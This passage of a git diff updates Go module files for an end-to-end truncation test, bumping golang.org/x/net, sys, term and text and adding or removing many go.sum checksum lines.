h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= +golang.org/x/text v0.7.0 h1:4BRB4x83lYWy72KwLD/qYDuTu7q9PjSagHvijDw7cLo= +golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= diff --git a/test/e2e/truncation/go.mod b/test/e2e/truncation/go.mod index 53acd118e5..6096cc2563 100644 --- a/test/e2e/truncation/go.mod +++ b/test/e2e/truncation/go.mod @@ -37,10 +37,10 @@ require ( github.com/spf13/viper v1.12.0 // indirect github.com/subosito/gotenv v1.3.0 // indirect golang.org/x/crypto v0.0.0-20220525230936-793ad666bf5e // indirect - golang.org/x/net v0.0.0-20220708220712-1185a9018129 // indirect - golang.org/x/sys v0.0.0-20220708085239-5a0f0661e09d // indirect - golang.org/x/term v0.0.0-20210927222741-03fcf44c2211 // indirect - golang.org/x/text v0.3.7 // indirect + golang.org/x/net v0.7.0 // indirect + golang.org/x/sys v0.5.0 // indirect + golang.org/x/term v0.5.0 // indirect + golang.org/x/text v0.7.0 // indirect google.golang.org/genproto v0.0.0-20220519153652-3a47de7e79bd // indirect google.golang.org/grpc v1.46.2 // indirect google.golang.org/protobuf v1.28.0 // indirect diff --git a/test/e2e/truncation/go.sum b/test/e2e/truncation/go.sum index 48b46426f5..89994c0e94 100644 --- a/test/e2e/truncation/go.sum +++ b/test/e2e/truncation/go.sum @@ -55,7 +55,6 @@ cloud.google.com/go/storage v1.8.0/go.mod h1:Wv1Oy7z6Yz3DshWRJFhqM/UCfaWIRTdp0RX cloud.google.com/go/storage v1.10.0/go.mod h1:FLPqc6j+Ki4BU591ie1oL6qBQGu2Bl/tZ9ullr3+Kg0= cloud.google.com/go/storage v1.14.0/go.mod h1:GrKmX003DSIwi9o29oFT7YDnHYwZoctc3fOKtUw0Xmo= dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7gZCb22OMCxBHrMx7a5I7Hp++hsVxbQ4BYO7hU= -github.com/Azure/go-ansiterm v0.0.0-20170929234023-d6e3b3328b78/go.mod h1:LmzpDX56iTiv29bbRTIsUNlaFfuhWRQBWjQdVyAevI8= github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo= github.com/DataDog/datadog-go v3.2.0+incompatible/go.mod h1:LButxg5PwREeZtORoXG3tL4fMGNddJ+vMq1mwgfaqoQ= @@ -65,8 +64,6 @@ github.com/Masterminds/semver v1.5.0/go.mod h1:MB6lktGJrhw8PrUyiEoblNEGEQ+RzHPF0 github.com/Masterminds/semver/v3 v3.1.1/go.mod h1:VPu/7SZ7ePZ3QOrcuXROw5FAcLl4a0cBrbBpGY/8hQs= github.com/Masterminds/sprig v2.15.0+incompatible/go.mod h1:y6hNFY5UBTIWBxnzTeuNhlNS5hqE0NB0E6fgfo2Br3o= github.com/Masterminds/sprig v2.22.0+incompatible/go.mod h1:y6hNFY5UBTIWBxnzTeuNhlNS5hqE0NB0E6fgfo2Br3o= -github.com/Microsoft/go-winio v0.5.2/go.mod h1:WpS1mjBmmwHBEWmogvA2mj8546UReBk4v8QkMxJ6pZY= -github.com/Nvveen/Gotty v0.0.0-20120604004816-cd527374f1e5/go.mod h1:lmUJ/7eu/Q8D7ML55dXQrVaamCz2vxCfdQBasLZfHKk= github.com/OneOfOne/xxhash v1.2.2/go.mod h1:HSdplMjZKSmBqAxg5vPj2TmRDmfkzw+cTzAElWljhcU= github.com/aead/chacha20 v0.0.0-20180709150244-8b13a72661da h1:KjTM2ks9d14ZYCvmHS9iAKVt9AyzRSqNU1qabPih5BY= github.com/aead/chacha20 v0.0.0-20180709150244-8b13a72661da/go.mod h1:eHEWzANqSiWQsof+nXEI9bUVUyV6F53Fp89EuCh2EAA= @@ -94,17 +91,14 @@ github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM= github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw= github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs= github.com/bketelsen/crypt v0.0.4/go.mod h1:aI6NrJ0pMGgvZKL1iVgXLnfIFJtfV+bKCoqOes/6LfM= -github.com/cenkalti/backoff/v4 v4.1.3/go.mod h1:scbssz8iZGpm3xbr14ovlUdkxfGXNInqkPWOWmG2CLw= github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc= github.com/cespare/xxhash/v2 v2.1.1/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= github.com/cespare/xxhash/v2 v2.1.2 h1:YRXhKfTDauu4ajMg1TPgFO5jnlC2HCbmLXMcTG5cbYE= github.com/cespare/xxhash/v2 v2.1.2/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= -github.com/checkpoint-restore/go-criu/v5 v5.3.0/go.mod h1:E/eQpaFtUKGOOSEBZgmKAcn+zUUwWxqcaKZlF54wK8E= github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI= github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI= github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU= -github.com/cilium/ebpf v0.7.0/go.mod h1:/oI2+1shJiTGAMgl6/RgJr36Eo1jzrRcAWbcXO2usCA= github.com/circonus-labs/circonus-gometrics v2.3.1+incompatible/go.mod h1:nmEj6Dob7S7YxXgwXpfOuvO54S+tGdZdw9fuRZt25Ag= github.com/circonus-labs/circonusllhist v0.1.3/go.mod h1:kMXHVDlOchFAehlya5ePtbp5jckzBHf4XRpQvBOLI+I= github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw= @@ -118,8 +112,6 @@ github.com/cncf/xds/go v0.0.0-20210922020428-25de7278fc84/go.mod h1:eXthEFrGJvWH github.com/cncf/xds/go v0.0.0-20211001041855-01bcc9b48dfe/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= github.com/cncf/xds/go v0.0.0-20211011173535-cb28da3451f1/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= github.com/cockroachdb/apd v1.1.0/go.mod h1:8Sl8LxpKi29FqWXR16WEFZRNSz3SoPzUzeMeY4+DwBQ= -github.com/containerd/console v1.0.3/go.mod h1:7LqA/THxQ86k76b8c/EMSiaJ3h1eZkMkXar0TQ1gf3U= -github.com/containerd/continuity v0.3.0/go.mod h1:wJEAIwKOm/pBZuBd0JmeTvnLquTB1Ag8espWhkykbPM= github.com/coreos/bbolt v1.3.2/go.mod h1:iRUV2dpdMOn7Bo10OQBFzIJO9kkE559Wcmn+qkEiiKk= github.com/coreos/etcd v3.3.10+incompatible/go.mod h1:uF7uidLiAD3TWHmW31ZFd/JWoc32PjwdhPthX9715RE= github.com/coreos/go-semver v0.2.0/go.mod h1:nnelYz7RCh+5ahJtPPxZlU+153eP4D4r3EedlOD2RNk= @@ -128,25 +120,20 @@ github.com/coreos/go-systemd v0.0.0-20190321100706-95778dfbb74e/go.mod h1:F5haX7 github.com/coreos/go-systemd v0.0.0-20190719114852-fd7a80b32e1f/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4= github.com/coreos/go-systemd/v22 v22.3.2/go.mod h1:Y58oyj3AT4RCenI/lSvhwexgC+NSVTIJ3seZv2GcEnc= github.com/coreos/pkg v0.0.0-20180928190104-399ea9e2e55f/go.mod h1:E3G3o1h8I7cfcXa63jLwjI0eiQQMgzzUDFVpN/nH/eA= -github.com/cpuguy83/go-md2man/v2 v2.0.0-20190314233015-f79a8a8ca69d/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU= github.com/cpuguy83/go-md2man/v2 v2.0.0/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU= github.com/creack/pty v1.1.7/go.mod h1:lj5s0c3V2DBrqTV7llrYr5NG6My20zk30Fl46Y7DoTY= github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E= -github.com/creack/pty v1.1.11/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E= -github.com/cyphar/filepath-securejoin v0.2.3/go.mod h1:aPGpWjXOXUn2NCNjFvBE6aRxGGx79pTxQpKOJNYHHl4= +github.com/cyberdelia/templates v0.0.0-20141128023046-ca7fffd4298c/go.mod h1:GyV+0YP4qX0UQ7r2MoYZ+AvYDp12OF5yg4q8rGnyNh4= github.com/davecgh/go-spew v0.0.0-20161028175848-04cdfd42973b/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/deepmap/oapi-codegen v1.8.2/go.mod h1:YLgSKSDv/bZQB7N4ws6luhozi3cEdRktEqrX88CvjIw= github.com/dgraph-io/ristretto v0.0.1/go.mod h1:T40EBc7CJke8TkpiYfGGKAeFjSaxuFXhuXRyumBd6RE= github.com/dgraph-io/ristretto v0.0.2/go.mod h1:KPxhHT9ZxKefz+PCeOGsrHpl1qZ7i70dGTu2u+Ahh6E= github.com/dgrijalva/jwt-go v3.2.0+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZmtrrCbhqsmaPHjLKYnJCaQ= github.com/dgryski/go-farm v0.0.0-20190423205320-6a90982ecee2/go.mod h1:SqUrOPUnsFjfmXRMNPybcSiG0BgUW2AuFH8PAnS2iTw= github.com/dgryski/go-sip13 v0.0.0-20181026042036-e10d5fee7954/go.mod h1:vAd38F8PWV+bWy6jNmig1y/TA+kYO4g3RSRF0IAv0no= -github.com/docker/cli v20.10.14+incompatible/go.mod h1:JLrzqnKDaYBop7H2jaqPtU4hHvMKP+vjCwu2uszcLI8= -github.com/docker/docker v20.10.7+incompatible/go.mod h1:eEKB0N0r5NX/I1kEveEz05bcu8tLC/8azJZsviup8Sk= -github.com/docker/go-connections v0.4.0/go.mod h1:Gbd7IOopHjR8Iph03tsViu4nIes5XhDvyHbTtUxmeec= -github.com/docker/go-units v0.4.0/go.mod h1:fgPhTUdO+D/Jk86RDLlptpiXQzgHJF7gydDDbaIK4Dk= github.com/dustin/go-humanize v1.0.0/go.mod h1:HtrtbFcZ19U5GC7JDqmcUSB87Iq5E25KnS6fMYU6eOk= github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= @@ -162,15 +149,16 @@ github.com/envoyproxy/protoc-gen-validate v0.3.0-java/go.mod h1:iSmxcyjqTsJpI2R4 github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4= github.com/fatih/color v1.9.0/go.mod h1:eQcE1qtQxscV5RaZvpXrrb8Drkc3/DdQ+uUYCNjL+zU= github.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk= -github.com/frankban/quicktest v1.11.3/go.mod h1:wRf/ReqHper53s+kmmSZizM8NamnL3IM0I9ntUbOk+k= github.com/frankban/quicktest v1.14.3 h1:FJKSZTDHjyhriyC81FLQ0LY93eSai0ZyR/ZIkd3ZUKE= github.com/frankban/quicktest v1.14.3/go.mod h1:mgiwOwqx65TmIk1wJ6Q7wvnVMocbUorkibMOrVTHZps= github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo= github.com/fsnotify/fsnotify v1.4.9/go.mod h1:znqG4EE+3YCdAaPaxE2ZRY/06pZUdp0tY4IgpuI1SZQ= github.com/fsnotify/fsnotify v1.5.4 h1:jRbGcIw6P2Meqdwuo0H1p6JVLbL5DHKAKlYndzMwVZI= github.com/fsnotify/fsnotify v1.5.4/go.mod h1:OVB6XrOHzAwXMpEM7uPOzcehqUV2UqJxmVXmkdnm1bU= +github.com/getkin/kin-openapi v0.61.0/go.mod h1:7Yn5whZr5kJi6t+kShccXS8ae1APpYTW6yheSwk8Yi4= github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04= github.com/gizak/termui/v3 v3.1.0/go.mod h1:bXQEBkJpzxUAKf0+xq9MSWAvWZlE7c+aidmyFlkYTrY= +github.com/go-chi/chi/v5 v5.0.0/go.mod h1:BBug9lr0cqtdAhsu6R4AAdvufI0/XBzAQSsUqJpoZOs= github.com/go-gl/glfw v0.0.0-20190409004039-e6da0acd62b1/go.mod h1:vR7hzQXu2zJy9AVAgeJqvqgH9Q5CA+iKCZ2gyEVpxRU= github.com/go-gl/glfw/v3.3/glfw v0.0.0-20191125211704-12ad95a8df72/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= github.com/go-gl/glfw/v3.3/glfw v0.0.0-20200222043503-6f7a984d4dc4/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= @@ -180,10 +168,10 @@ github.com/go-kit/log v0.1.0/go.mod h1:zbhenjAZHb184qTLMA9ZjW7ThYL0H2mk7Q6pNt4vb github.com/go-logfmt/logfmt v0.3.0/go.mod h1:Qt1PoO58o5twSAckw1HlFXLmHsOX5/0LbT9GBnD5lWE= github.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V4qmtdjCk= github.com/go-logfmt/logfmt v0.5.0/go.mod h1:wCYkCAKZfumFQihp8CzCvQ3paCTfi41vtzG1KdI/P7A= -github.com/go-sql-driver/mysql v1.6.0/go.mod h1:DCzpHaOWr8IXmIStZouvnhqoel9Qv2LBy8hT2VhHyBg= +github.com/go-openapi/jsonpointer v0.19.5/go.mod h1:Pl9vOtqEWErmShwVjC8pYs9cog34VGT37dQOVbmoatg= +github.com/go-openapi/swag v0.19.5/go.mod h1:POnQmlKehdgb5mhVOsnJFsivZCEZ/vjK9gh66Z9tfKk= github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY= github.com/godbus/dbus/v5 v5.0.4/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA= -github.com/godbus/dbus/v5 v5.0.6/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA= github.com/gofrs/uuid v4.0.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM= github.com/gogo/protobuf v1.1.1/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ= github.com/gogo/protobuf v1.2.1/go.mod h1:hp+jE20tsWTFYpLwKvXlhS1hjn+gTNwPg2I6zVXpSg4= @@ -223,6 +211,7 @@ github.com/golang/protobuf v1.5.1/go.mod h1:DopwsBzvsk0Fs44TXzsVbJyPhcCPeIwnvohx github.com/golang/protobuf v1.5.2 h1:ROPKBNFfQgOUMifHyP+KYbvpjbdoFNs+aK7DXlji0Tw= github.com/golang/protobuf v1.5.2/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY= github.com/golang/snappy v0.0.3/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= +github.com/golangci/lint-1 v0.0.0-20181222135242-d2cdd8c08219/go.mod h1:/X8TswGSh1pIozq4ZwCfxS0WA5JGXguxk94ar/4c87Y= github.com/google/btree v0.0.0-20180813153112-4030bb1f1f0c/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= github.com/google/btree v1.0.0/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M= @@ -261,7 +250,6 @@ github.com/google/pprof v0.0.0-20210601050228-01bbb1931b22/go.mod h1:kpwsk12EmLe github.com/google/pprof v0.0.0-20210609004039-a478d1d731e9/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= github.com/google/pprof v0.0.0-20210720184732-4bb14d4b1be1/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI= -github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510/go.mod h1:pupxD2MaaD3pAXIBCelhxNneeOaAeabZDe5s4K6zSpQ= github.com/google/uuid v0.0.0-20161128191214-064e2069ce9c/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/google/uuid v1.0.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/google/uuid v1.1.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= @@ -276,6 +264,7 @@ github.com/googleapis/gax-go/v2 v2.3.0/go.mod h1:b8LNqSzNabLiUpXKkY7HAR5jr6bIT99 github.com/googleapis/gax-go/v2 v2.4.0/go.mod h1:XOTVJ59hdnfJLIP/dh8n5CGryZR2LxK9wbMD5+iXC6c= github.com/googleapis/google-cloud-go-testing v0.0.0-20200911160855-bcd43fbb19e8/go.mod h1:dvDLG8qkwmyD9a/MJJN3XJcT3xFxOKAvTZGvuZmac9g= github.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1/go.mod h1:wJfORRmW1u3UXTncJ5qlYoELFm8eSnnEO6hX4iZ3EWY= +github.com/gorilla/mux v1.8.0/go.mod h1:DVbg23sWSpFRCP0SfiEN6jmj59UnW/n46BH5rLB71So= github.com/gorilla/websocket v1.4.0/go.mod h1:E7qHFY5m1UJ88s3WnNqhKjPHQ0heANvMoAMk2YaljkQ= github.com/grpc-ecosystem/go-grpc-middleware v1.0.0/go.mod h1:FiyG127CGDf3tlThmgyCl78X/SZQqEOJBCDaAfeWzPs= github.com/grpc-ecosystem/go-grpc-middleware v1.3.0 h1:+9834+KizmvFV7pXQGSXQTsaWhq2GjuNUt0aUU0YBYw= @@ -326,10 +315,11 @@ github.com/huandu/xstrings v1.3.2/go.mod h1:y5/lhBue+AyNmUVz9RLU9xbLR0o4KIIExikq github.com/ianlancetaylor/demangle v0.0.0-20181102032728-5e5cf60278f6/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc= github.com/ianlancetaylor/demangle v0.0.0-20200824232613-28f6c0f3b639/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc= github.com/imdario/mergo v0.3.4/go.mod h1:2EnlNZ0deacrJVfApfmtdGgDfMuh/nq6Ok1EcJh5FfA= -github.com/imdario/mergo v0.3.12/go.mod h1:jmQim1M+e3UYxmgPu/WyfjB3N3VflVyUjjjwH0dnCYA= github.com/imdario/mergo v0.3.13/go.mod h1:4lJ1jqUDcsbIECGy0RUJAXNIhg+6ocWgb1ALK2O4oXg= github.com/inconshreveable/mousetrap v1.0.0 h1:Z8tu5sraLXCXIcARxBp/8cbvlwVa7Z1NHg9XEKhtSvM= github.com/inconshreveable/mousetrap v1.0.0/go.mod h1:PxqpIevigyE2G7u3NXJIT2ANytuPF1OarO4DADm73n8= +github.com/influxdata/influxdb-client-go/v2 v2.12.2/go.mod h1:YteV91FiQxRdccyJ2cHvj2f/5sq4y4Njqu1fQzsQCOU= +github.com/influxdata/line-protocol v0.0.0-20200327222509-2487e7298839/go.mod h1:xaLFMmpvUxqXtVkUJfg9QmT88cDaCJ3ZKgdZ78oO8Qo= github.com/jackc/chunkreader v1.0.0/go.mod h1:RT6O25fNZIuasFJRyZ4R/Y2BbhasbmZXF9QQ7T3kePo= github.com/jackc/chunkreader/v2 v2.0.0/go.mod h1:odVSm741yZoC3dpHEUXIqA9tQRhFrgOHwnPIn9lDKlk= github.com/jackc/chunkreader/v2 v2.0.1/go.mod h1:odVSm741yZoC3dpHEUXIqA9tQRhFrgOHwnPIn9lDKlk= @@ -391,7 +381,6 @@ github.com/kr/fs v0.1.0/go.mod h1:FFnZGqtBN9Gxj7eW1uZ42v5BccTP0vu6NEaFoC2HwRg= github.com/kr/logfmt v0.0.0-20140226030751-b84e30acd515/go.mod h1:+0opPa2QZZtGFBFZlji/RkVcI2GknAs/DXo4wKdlNEc= github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= github.com/kr/pretty v0.2.0/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= -github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= github.com/kr/pretty v0.3.0 h1:WgNl7dwNpEZ6jJ9k1snq4pZsg7DOEN8hP9Xw0Tsjwk0= github.com/kr/pretty v0.3.0/go.mod h1:640gp4NfQd8pI5XOwp5fnNeVWj67G7CFk/SaSQn7NBk= github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= @@ -399,7 +388,8 @@ github.com/kr/pty v1.1.8/go.mod h1:O1sed60cT9XZ5uDucP5qwvh+TE3NnUj51EiZO/lmSfw= github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= -github.com/lib/pq v0.0.0-20180327071824-d34b9ff171c2/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo= +github.com/labstack/echo/v4 v4.2.1/go.mod h1:AA49e0DZ8kk5jTOOCKNuPR6oTnBS0dYiM4FW1e6jwpg= +github.com/labstack/gommon v0.3.0/go.mod h1:MULnywXg0yavhxWKc+lOruYdAhDwPK9wf0OL7NoOu+k= github.com/lib/pq v1.0.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo= github.com/lib/pq v1.1.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo= github.com/lib/pq v1.2.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo= @@ -409,16 +399,23 @@ github.com/magiconair/properties v1.8.1/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czP github.com/magiconair/properties v1.8.5/go.mod h1:y3VJvCyxH9uVvJTWEGAELF3aiYNyPKd5NZ3oSwXrF60= github.com/magiconair/properties v1.8.6 h1:5ibWZ6iY0NctNGWo87LalDlEZ6R41TqbbDamhfG/Qzo= github.com/magiconair/properties v1.8.6/go.mod h1:y3VJvCyxH9uVvJTWEGAELF3aiYNyPKd5NZ3oSwXrF60= +github.com/mailru/easyjson v0.0.0-20190614124828-94de47d64c63/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc= +github.com/mailru/easyjson v0.0.0-20190626092158-b2ccc519800e/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc= +github.com/matryer/moq v0.0.0-20190312154309-6cfb0558e1bd/go.mod h1:9ELz6aaclSIGnZBoaSLZ3NAl1VTufbOrXBPvtcy6WiQ= github.com/mattn/go-colorable v0.0.9/go.mod h1:9vuHe8Xs5qXnSaW/c/ABM9alt+Vo+STaOChaDxuIBZU= github.com/mattn/go-colorable v0.1.1/go.mod h1:FuOcm+DKB9mbwrcAfNl7/TZVBZ6rcnceauSikq3lYCQ= +github.com/mattn/go-colorable v0.1.2/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE= github.com/mattn/go-colorable v0.1.4/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE= github.com/mattn/go-colorable v0.1.6/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= +github.com/mattn/go-colorable v0.1.7/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= +github.com/mattn/go-colorable v0.1.8/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= github.com/mattn/go-colorable v0.1.9/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= github.com/mattn/go-colorable v0.1.12/go.mod h1:u5H1YNBxpqRaxsYJYSkiCWKzEfiAb1Gb520KVy5xxl4= github.com/mattn/go-isatty v0.0.3/go.mod h1:M+lRXTBqGeGNdLjl/ufCoiOlB5xdOkqRJdNxMWT7Zi4= github.com/mattn/go-isatty v0.0.5/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= github.com/mattn/go-isatty v0.0.7/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= +github.com/mattn/go-isatty v0.0.9/go.mod h1:YNRxwqDuOph6SZLI9vUUz6OYw3QyUt7WiY2yME+cCiQ= github.com/mattn/go-isatty v0.0.10/go.mod h1:qgIWMr58cqv1PHHyhnkY9lrL7etaEgOFcMEpPG5Rm84= github.com/mattn/go-isatty v0.0.11/go.mod h1:PhnuNfih5lzO57/f3n+odYbM4JtupLOxQOAqxQCu2WE= github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU= @@ -452,14 +449,11 @@ github.com/mitchellh/mapstructure v1.4.3/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RR github.com/mitchellh/mapstructure v1.5.0 h1:jeMsZIYE/09sWLaz43PL7Gy6RuMjD2eJVyuac5Z2hdY= github.com/mitchellh/mapstructure v1.5.0/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= github.com/mitchellh/reflectwalk v1.0.2/go.mod h1:mSTlrgnPZtwu0c4WaC2kGObEpuNDbx0jmZXqmk4esnw= -github.com/moby/sys/mountinfo v0.5.0/go.mod h1:3bMD3Rg+zkqx8MRYPi7Pyb0Ie97QEBmdxbhnCLlSvSU= -github.com/moby/term v0.0.0-20201216013528-df9cb8a40635/go.mod h1:FBS0z0QWA44HXygs7VXDUOGoN/1TV3RuWkLO04am3wc= github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= github.com/modern-go/reflect2 v0.0.0-20180701023420-4b7aa43c6742/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0= github.com/modern-go/reflect2 v1.0.1/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0= 